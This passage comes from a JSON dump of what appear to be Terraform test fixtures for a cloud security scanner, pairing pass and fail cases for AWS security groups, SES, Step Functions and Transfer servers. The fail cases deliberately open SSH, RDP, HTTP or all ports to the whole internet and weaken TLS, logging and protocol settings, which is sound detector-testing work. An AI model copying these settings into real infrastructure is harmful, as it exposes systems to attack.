    "content": "resource \"aws_security_group\" \"pass\" {\n  name   = \"example\"\n  vpc_id = \"aws_vpc.example.id\"\n\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 80\n    to_port     = 80\n    protocol    = \"tcp\"\n  }\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n  }\n  egress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 20\n    to_port     = 200\n    protocol    = \"-1\"\n  }\n}\n\nresource \"aws_security_group\" \"fail2\" {\n  name   = \"example\"\n  vpc_id = \"aws_vpc.example.id\"\n\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 80\n    to_port     = 80\n    protocol    = \"tcp\"\n  }\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n  }\n  egress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n  }\n}\n\nresource \"aws_security_group_rule\" \"pass\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = 80\n  to_port           = 80\n  protocol          = \"tcp\"\n  security_group_id = \"sg-12345\"\n  type              = \"egress\"\n}\n\nresource \"aws_vpc_security_group_egress_rule\" \"pass\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"0.0.0.0/0\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 80\n}\n\n# fail\nresource \"aws_security_group\" \"fail\" {\n  name        = \"allow-all-ingress\"\n  description = \"unfettered access\"\n  vpc_id      = \"test_vpc\"\n\n  egress {\n    from_port   = -1\n    to_port     = -1\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    description = \"Test unfettered access\"\n  }\n}\n\n\nresource \"aws_security_group_rule\" \"fail\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = -1\n  to_port           = -1\n  protocol          = \"tcp\"\n  security_group_id = \"sg-12345\"\n  description = \"Test unfettered access\"\n  type              = \"egress\"\n}\n\nresource \"aws_security_group_rule\" \"fail2\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = 0\n  to_port           = 0\n  protocol          = \"-1\"\n  security_group_id = \"sg-123456\"\n  description = \"Test unfettered access\"\n  type              = \"egress\"\n}\n\nresource \"aws_vpc_security_group_egress_rule\" \"fail\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"0.0.0.0/0\"\n  from_port   = -1\n  ip_protocol = \"tcp\"\n  to_port     = -1\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/main.tf",
    "content": "\nresource \"aws_security_group\" \"fail\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"fail2\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"fail3\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"fail4\" {\n  description = \"SG with inline rules\"\n  ingress = [\n    {\n      cidr_blocks      = [\"0.0.0.0/0\"]\n      description      = \"Wide Open\"\n      from_port        = 0\n      ipv6_cidr_blocks = []\n      prefix_list_ids  = []\n      security_groups  = []\n      protocol         = \"-1\"\n      self             = false\n      to_port          = 65535\n    }\n  ]\n}\n\nresource \"aws_security_group\" \"fail-ipv6\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    ipv6_cidr_blocks = [\"192.168.0.0/16\", \"::/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group_rule\" \"fail\" {\n  type              = \"ingress\"\n  from_port         = 22\n  to_port           = 22\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"fail\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"0.0.0.0/0\"\n  from_port   = 22\n  ip_protocol = \"tcp\"\n  to_port     = 22\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"fail2\" {\n  security_group_id = aws_security_group.example.id\n  from_port   = 22\n  ip_protocol = \"tcp\"\n  to_port     = 22\n}\n\n\nresource \"aws_security_group\" \"pass\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 222\n    to_port   = 222\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass2\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass3\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress = [{\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    description = \"foo\"\n    cidr_blocks = null\n  }]\n\n  egress = [{\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = null\n  }]\n}\n\nresource \"aws_security_group\" \"pass4\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass5\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    cidr_blocks = [\"192.168.0.0/16\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass6\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass7\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n}\n\nresource \"aws_security_group\" \"pass-ipv6\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress = [{\n    ipv6_cidr_blocks = null\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    description = \"foo\"\n    cidr_blocks = null\n  }]\n\n  egress = [{\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = null\n  }]\n}\n\nresource \"aws_security_group_rule\" \"pass\" {\n  type              = \"ingress\"\n  from_port         = 222\n  to_port           = 222\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"pass2\" {\n  type              = \"ingress\"\n  from_port         = 22\n  to_port           = 22\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"192.168.0.0/16\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"unknown\" {\n  type              = \"egress\"\n  from_port         = 22\n  to_port           = 22\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"pass3\" {\n  type              = \"ingress\"\n  from_port         = 22\n  to_port           = 22\n  protocol          = \"tcp\"\n  source_security_group_id       = \"sg-123456\"\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"pass4\" {\n  type              = \"ingress\"\n  from_port         = 22\n  to_port           = 22\n  protocol          = \"tcp\"\n  self = true\n  security_group_id = aws_security_group.bar-sg.id\n}\n\n\nresource \"aws_vpc_security_group_ingress_rule\" \"pass\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"10.0.0.0/8\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 8080\n\n}\n\nresource \"aws_security_group\" \"pass_self\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n  ingress {\n    description = \"Self\"\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    self        = true\n  }\n}\n\n\nresource \"aws_security_group\" \"not_self\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n  ingress {\n    description = \"Self\"\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n    self        = false\n  }\n}\n\nresource \"aws_security_group\" \"pass_self2\" {\n  description = \"SG with inline rules\"\n  ingress = [\n    {\n      cidr_blocks      = [\"0.0.0.0/0\"]\n      description      = \"Wide Open\"\n      from_port        = 0\n      ipv6_cidr_blocks = []\n      prefix_list_ids  = []\n      security_groups  = []\n      protocol         = \"-1\"\n      self             = true\n      to_port          = 65535\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecurityGroupUnrestrictedIngress3389/main.tf",
    "content": "# pass\n\nresource \"aws_security_group\" \"pass\" {\n  name   = \"example\"\n  vpc_id = \"aws_vpc.example.id\"\n\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 80\n    to_port     = 80\n    protocol    = \"tcp\"\n  }\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n  }\n  egress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n  }\n}\n\nresource \"aws_security_group_rule\" \"pass\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = 80\n  to_port           = 80\n  protocol          = \"tcp\"\n  security_group_id = \"sg-12345\"\n  type              = \"ingress\"\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"pass\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"10.0.0.0/8\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 80\n}\n\n# fail\n\nresource \"aws_security_group\" \"fail\" {\n  name   = \"example\"\n  vpc_id = \"aws_vpc.example.id\"\n\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 3389\n    to_port     = 3389\n    protocol    = \"tcp\"\n  }\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n  }\n  egress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n  }\n}\n\nresource \"aws_security_group_rule\" \"fail\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = 3389\n  to_port           = 3389\n  protocol          = \"tcp\"\n  security_group_id = \"sg-12345\"\n  type              = \"ingress\"\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"fail\" {\n  security_group_id = aws_security_group.fail.id\n\n  cidr_ipv4   = \"0.0.0.0/0\"\n  from_port   = 3389\n  ip_protocol = \"tcp\"\n  to_port     = 3389\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/main.tf",
    "content": "\nresource \"aws_security_group\" \"fail\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 80\n    to_port   = 80\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"fail2\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"fail3\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 80\n    to_port   = 80\n    protocol  = \"tcp\"\n    ipv6_cidr_blocks = [\"192.168.0.0/16\", \"::/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"fail4\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 80\n    to_port   = 80\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"fail5\" {\n  description = \"SG with inline rules\"\n  ingress = [\n    {\n      cidr_blocks      = [\"0.0.0.0/0\"]\n      description      = \"Wide Open\"\n      from_port        = 0\n      ipv6_cidr_blocks = []\n      prefix_list_ids  = []\n      security_groups  = []\n      protocol         = \"-1\"\n      self             = false\n      to_port          = 65535\n    }\n  ]\n}\n\nresource \"aws_security_group\" \"pass\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 222\n    to_port   = 222\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass2\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 80\n    to_port   = 80\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass3\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress = [{\n    from_port = 80\n    to_port   = 80\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    description = \"foo\"\n    cidr_blocks = null\n  }]\n\n  egress = [{\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = null\n  }]\n}\n\nresource \"aws_security_group\" \"pass4\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 80\n    to_port   = 80\n    protocol  = \"tcp\"\n    cidr_blocks = [\"192.168.0.0/16\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass5\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  ingress {\n    from_port = 80\n    to_port   = 80\n    protocol  = \"tcp\"\n    security_groups = [aws_security_group.foo-sg.id]\n    cidr_blocks = [\"192.168.0.0/16\"]\n    description = \"foo\"\n  }\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass6\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n\n  egress {\n    from_port = 0\n    to_port   = 0\n    protocol  = \"-1\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n  }\n}\n\nresource \"aws_security_group\" \"pass7\" {\n  name   = \"sg-bar\"\n  vpc_id = aws_vpc.main.id\n}\n\nresource \"aws_security_group\" \"pass-ipv6\" {\n      name   = \"sg-bar\"\n      vpc_id = aws_vpc.main.id\n\n      ingress = [{\n        ipv6_cidr_blocks = null\n        from_port = 80\n        to_port   = 80\n        protocol  = \"tcp\"\n        security_groups = [aws_security_group.foo-sg.id]\n        description = \"foo\"\n        cidr_blocks = null\n      }]\n\n      egress = [{\n        from_port = 0\n        to_port   = 0\n        protocol  = \"-1\"\n        cidr_blocks = null\n      }]\n    }\n\nresource \"aws_security_group_rule\" \"fail\" {\n  type              = \"ingress\"\n  from_port         = 80\n  to_port           = 80\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"192.168.0.0/16\", \"0.0.0.0/0\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"pass\" {\n  type              = \"ingress\"\n  from_port         = 80\n  to_port           = 80\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"192.168.0.0/16\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"unknown\" {\n  type              = \"egress\"\n  from_port         = 80\n  to_port           = 80\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"pass2\" {\n  type              = \"ingress\"\n  from_port         = 80\n  to_port           = 80\n  protocol          = \"tcp\"\n  source_security_group_id       = \"sg-123456\"\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_security_group_rule\" \"pass3\" {\n  type              = \"ingress\"\n  from_port         = 222\n  to_port           = 222\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = aws_security_group.bar-sg.id\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"fail\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"0.0.0.0/0\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 80\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"fail2\" {\n  security_group_id = aws_security_group.example.id\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 80\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"pass_prefix_list\" {\n  prefix_list_ids = \"some_id\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 80\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"pass\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"10.0.0.0/8\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 80\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SecurityGroupUnrestrictedIngressAny/main.tf",
    "content": "# pass\n\nresource \"aws_security_group\" \"pass\" {\n  name   = \"example\"\n  vpc_id = \"aws_vpc.example.id\"\n\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 80\n    to_port     = 80\n    protocol    = \"tcp\"\n  }\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 443\n    to_port     = 443\n    protocol    = \"tcp\"\n  }\n  egress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port   = 0\n    to_port     = 0\n    protocol    = \"-1\"\n  }\n}\n\nresource \"aws_security_group_rule\" \"pass\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = 80\n  to_port           = 80\n  protocol          = \"tcp\"\n  security_group_id = \"sg-12345\"\n  type              = \"ingress\"\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"pass\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"0.0.0.0/0\"\n  from_port   = 80\n  ip_protocol = \"tcp\"\n  to_port     = 80\n}\n\n# fail\nresource \"aws_security_group\" \"fail\" {\n  name        = \"allow-all-ingress\"\n  description = \"unfettered access\"\n  vpc_id      = \"test_vpc\"\n\n  ingress {\n    from_port   = -1\n    to_port     = -1\n    protocol    = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    description = \"Test unfettered access\"\n  }\n}\n\n\nresource \"aws_security_group_rule\" \"fail\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = -1\n  to_port           = -1\n  protocol          = \"tcp\"\n  security_group_id = \"sg-12345\"\n  description = \"Test unfettered access\"\n  type              = \"ingress\"\n}\n\nresource \"aws_security_group_rule\" \"fail2\" {\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  from_port         = 0\n  to_port           = 0\n  protocol          = \"-1\"\n  security_group_id = \"sg-123456\"\n  description = \"Test unfettered access\"\n  type              = \"ingress\"\n}\n\nresource \"aws_vpc_security_group_ingress_rule\" \"fail\" {\n  security_group_id = aws_security_group.example.id\n\n  cidr_ipv4   = \"0.0.0.0/0\"\n  from_port   = -1\n  ip_protocol = \"tcp\"\n  to_port     = -1\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_SesConfigurationSetDefinesTLS/main.tf",
    "content": "resource \"aws_ses_configuration_set\" \"fail\" {\n  name = \"some-configuration-set-test\"\n}\n\nresource \"aws_ses_configuration_set\" \"pass\" {\n  name = \"some-configuration-set-test\"\n\n  delivery_options {\n    tls_policy = \"Require\"\n  }\n}\n\nresource \"aws_ses_configuration_set\" \"fail2\" {\n  name = \"some-configuration-set-test\"\n\n  delivery_options {\n    tls_policy = \"Optional\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_StateMachineLoggingExecutionHistory/main.tf",
    "content": "#pass\nresource \"aws_sfn_state_machine\" \"StateMachineLoggingExecutionHistoryEnabled\" {\n  name     = \"my-state-machine\"\n  role_arn = \"example1\"\n\n  definition = <<EOF\n{\n  \"StartAt\": \"HelloWorld\",\n  \"States\": {\n    \"HelloWorld\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"${aws_lambda_function.lambda.arn}\",\n      \"End\": true\n    }\n  }\n}\nEOF\n\n  logging_configuration {\n    log_destination        = \"${aws_cloudwatch_log_group.log_group_for_sfn.arn}:*\"\n    include_execution_data = true\n    level                  = \"ERROR\"\n  }\n}\n\n#fail\n\nresource \"aws_sfn_state_machine\" \"StateMachineLoggingExecutionHistoryDisabled\" {\n  name     = \"my-state-machine\"\n  role_arn = \"example2\"\n\n  definition = <<EOF\n{\n  \"StartAt\": \"HelloWorld\",\n  \"States\": {\n    \"HelloWorld\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"${aws_lambda_function.lambda.arn}\",\n      \"End\": true\n    }\n  }\n}\nEOF\n\n  logging_configuration {\n    log_destination        = \"${aws_cloudwatch_log_group.log_group_for_sfn.arn}:*\"\n    include_execution_data = false\n    level                  = \"ERROR\"\n  }\n}\n\n\nresource \"aws_sfn_state_machine\" \"StateMachineLoggingExecutionHistoryDefault\" {\n  name     = \"my-state-machine\"\n  role_arn = \"example3\"\n\n  definition = <<EOF\n{\n  \"StartAt\": \"HelloWorld\",\n  \"States\": {\n    \"HelloWorld\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"${aws_lambda_function.lambda.arn}\",\n      \"End\": true\n    }\n  }\n}\nEOF\n\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_StateMachineXray/main.tf",
    "content": "#pass\nresource \"aws_sfn_state_machine\" \"XrayEnabled\" {\n  name     = \"XrayEnabled\"\n  role_arn = \"example\"\n\n  definition = <<EOF\n    {\n      \"StartAt\": \"HelloWorld\",\n  \"States\": {\n    \"HelloWorld\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"${aws_lambda_function.lambda.arn}\",\n      \"End\": true\n        }\n      }\n    }\n    EOF\n      tracing_configuration {\n        enabled = true\n      }\n    }\n\n#fail\n\nresource \"aws_sfn_state_machine\" \"XrayDisabled\" {\n  name     = \"XrayDisabled\"\n  role_arn = \"EOF.iam_for_sfn.arn\"\n\n  definition = <<EOF\n    {\n      \"StartAt\": \"HelloWorld\",\n  \"States\": {\n    \"HelloWorld\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"${aws_lambda_function.lambda.arn}\",\n      \"End\": true\n        }\n      }\n    }\n    EOF\n      tracing_configuration {\n        enabled = false\n      }\n    }\n\nresource \"aws_sfn_state_machine\" \"XrayDefault\" {\n  name     = \"XrayDisabled\"\n  role_arn = \"EOF.iam_for_sfn.arn\"\n\n  definition = <<EOF\n    {\n      \"StartAt\": \"HelloWorld\",\n  \"States\": {\n    \"HelloWorld\": {\n      \"Type\": \"Task\",\n      \"Resource\": \"${aws_lambda_function.lambda.arn}\",\n      \"End\": true\n        }\n      }\n    }\n    EOF\n\n    }"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_TimestreamDatabaseKMSKey/main.tf",
    "content": "# pass\n\nresource \"aws_timestreamwrite_database\" \"enabled\" {\n  database_name = \"timestream\"\n\n  kms_key_id = var.kms_key_id\n}\n\n# failure\n\nresource \"aws_timestreamwrite_database\" \"default\" {\n  database_name = \"timestream\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_TransferServerAllowsOnlySecureProtocols/main.tf",
    "content": "# pass\nresource \"aws_transfer_server\" \"stfp\" {\n  protocols = [\"SFTP\"]\n}\n\n\n# pass\nresource \"aws_transfer_server\" \"default\" {\n}\n\n\n# fail\nresource \"aws_transfer_server\" \"ftp\" {\n  protocols = [\"FTP\", \"FTPS\"]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_TransferServerIsPublic/main.tf",
    "content": "# fail\nresource \"aws_transfer_server\" \"example_public\" {\n  endpoint_type = \"PUBLIC\"\n  protocols     = [\"SFTP\"]\n}\n\n# pass\nresource \"aws_transfer_server\" \"example_vpc\" {\n  endpoint_type = \"VPC\"\n  protocols     = [\"SFTP\"]\n}\n\n# fail\nresource \"aws_transfer_server\" \"example\" {\n  protocols = [\"SFTP\"]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_TransferServerLatestPolicy/main.tf",
    "content": "resource \"aws_transfer_server\" \"fail_old\" {\n  endpoint_type = \"PUBLIC\"\n  identity_provider_type = \"SERVICE_MANAGED\"\n\n  # Using an outdated security policy (not the latest)\n  security_policy_name = \"TransferSecurityPolicy-2018-11\"\n\n  tags = {\n    Name = \"OldTransferServer\"\n  }\n}\n\nresource \"aws_transfer_server\" \"pass_new\" {\n  endpoint_type = \"PUBLIC\"\n  identity_provider_type = \"SERVICE_MANAGED\"\n\n  # Using the latest security policy (as of this example)\n  security_policy_name = \"TransferSecurityPolicy-2034-01\"\n\n  tags = {\n    Name = \"LatestTransferServer\"\n  }\n}\n\nresource \"aws_transfer_server\" \"fail_old_fips\" {\n  endpoint_type = \"PUBLIC\"\n  identity_provider_type = \"SERVICE_MANAGED\"\n\n  # Using the latest security policy (as of this example)\n  security_policy_name = \"TransferSecurityPolicy-FIPS-2020-06\"\n\n  tags = {\n    Name = \"LatestTransferServer\"\n  }\n}\n\nresource \"aws_transfer_server\" \"pass_fips\" {\n  endpoint_type = \"PUBLIC\"\n  identity_provider_type = \"SERVICE_MANAGED\"\n\n  # Using the latest security policy (as of this example)\n  security_policy_name = \"TransferSecurityPolicy-FIPS-2034-01\"\n\n  tags = {\n    Name = \"LatestTransferServer\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_UnpatchedAuroraPostgresDB/main.tf",
